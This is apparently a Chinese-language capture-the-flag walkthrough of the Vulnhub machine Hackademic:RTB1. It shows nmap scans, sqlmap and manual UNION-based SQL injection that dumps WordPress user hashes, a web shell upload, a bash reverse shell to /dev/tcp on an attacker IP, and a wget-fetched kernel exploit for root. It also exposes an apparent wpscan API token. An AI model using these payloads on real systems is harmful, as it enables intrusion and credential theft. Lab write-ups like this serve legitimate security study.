Vulnhub Hackademic:RTB1
0x01:端口扫描
主机发现
nmap -sn 192.168.231.0/24
主机ip:192.168.231.136
全端口扫描
nmap -sT -sC -sV -O -p- 192.168.231.136 -oA /root/scan
扫描到两个端口,22ssh端口关闭,80http端口开放,其中http跑的是apache服务器
UDP扫描
nmap -sU --min-rate 10000 -p- 192.168.231.136
无UDP结果
漏洞扫描
nmap --script=vuln -p21,80 192.168.231.136
只有一个枚举有用
内容太多,我们等会进行不下去再研究它
0x02:web渗透
首先扫描目录
dirsearch -u http://192.168.231.136
扫描到这几个有用的目录,我们先打开根页面
说的是我们的最终目的是root这台机器,并给出target,我们点进去看看
给出了我们的goal拿到Key.txt
,下面有两个链接,我们点进去看看
Comments:
Uncategorized:
看这个url感觉是有注入的,我们试试
看报错信息那就是SQL注入了,我们跑一遍
sqlmap -u "192.168.231.136/Hackademic_RTB1/?cat=1" --dbs
我们看看wordpress这个库
sqlmap -u "192.168.231.136/Hackademic_RTB1/?cat=1" -D wordpress --tables
我们找找有用的信息
sqlmap -u "192.168.231.136/Hackademic_RTB1/?cat=1" -D wordpress -T wp_users --dump
最终我们在wp_users表单中找到了用户名和密码,其中user_level最高的为10,其用户名和密码如下
用户名:GeorgeMiller
密码:7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3)
但是我们的ssh22端口关闭了,之前我们扫目录的url又是403
我们再在我们刚才那个页面扫一下目录呢
成功扫描到登录页面,我们尝试登录
成功以GeorgeMiller的身份登录进来,发现WordPress版本为1.5.1.1,我们在msf上搜索
我们使用第三个,我们看看需要配置什么
我们除了普通配置外还需要设置targeturl,我们在网站中看看
我们在Options中的Miscellaneous找到上传路径和一些配置
我们小做修改
我们在把msf里的配置完善一下
注意一下,这里的是targeturi
,我们执行一下
报错了,我们还是手动来吧
我们用antsword去链接
我们反弹个shell
bash -i >& /dev/tcp/192.168.231.131/4444 0>&1
0x03:权限提升
首先提升交互性
python -c 'import pty;pty.spawn("/bin/bash");'
很可惜他没有python
我们的用户是apache,我们先看sudo
sudo -l
没有,我们再看看SUID
find / -type f -perm -04000 -ls 2>/dev/null
也没有什么好用的
我们再看看作业表呢
也没有,那我们看看内核版本呢
cat /proc/version
内核版本还挺低的,应该是有漏洞的,搜搜
searchsploit linux kernel 2.6.3
我们用这个,把它cp下来
searchsploit -m linux/local/33321.c
我们起个服务
python -m http.server 6666
wget http://192.168.231.131:6666/33321.c
拉取成功后编译它
gcc -o 33321 33321.c
我们执行它
寄,用不了,我们换一个
我们选这个,跟刚才一样
这下成功了!
还记得之前的goal吗?拿到key.txt就算胜利!
成功!
0x04:思考补充
1.尝试手工注入
刚才我们用的是sqlmap跑出来的,现在尝试一下纯手工注入
我们先查字段
?cat=1 order by 6
报错,说明当前数据库只有5个字段
接下来我们联合查询
?cat=1 and 1=2 union select 1,2,3,4,5
发现返回的是2,显示的是字段2的内容,我们先看是什么库
?cat=1 and 1=2 union select 1,database(),3,4,5
是wordpress的数据库,我们去官网查表
https://codex.wordpress.org/Database_Description/1.5
我们先查user_level
?cat=1 and 1=2 union select 1,group_concat(user_level),3,4,5 from wp_users
是可以查到的,我们再看看user_login
?cat=1 and 1=2 union select 1,group_concat(user_login),3,4,5 from wp_users
因为它自带了limit 1,所以我们要加上group_concat()才能读全
再看user_pass
?cat=1 and 1=2 union select 1,group_concat(user_pass),3,4,5 from wp_users
放在一起就是
?cat=1 and 1=2 union select 1,group_concat(id,0x2d,user_level,0x2d,user_login,0x2d,user_pass),3,4,5 from wp_users
加上0x2d作为分割符
1-1-NickJames-21232f297a57a5a743894a0e4a801fc3,
2-0-JohnSmith-b986448f0bb9e5e124ca91d3d650f52c,
3-10-GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054,
4-0-TonyBlack-a6e514f9486b83cb53d8d932f9a04292,
5-0-JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4,
6-0-MaxBucky-50484c19f1afdaf3841a0d821ed393d2
我们再手动hash密码就完事了
2.我们在搜索内核提权的时候,感觉选项太多,我们可以grep "Local Privilege Escalation"
searchsploit linux kernel 2.6.3 |grep "Local Privilege Escalation"
3.可以使用wpscan对wordpress进行漏洞扫描
wpscan --url http://192.168.231.136/Hackademic_RTB1/ --enumerate ap --api-token 0Du8ow5jLqgfJgCOnxvsgKaEZacsPltJCKAaQDyFoCg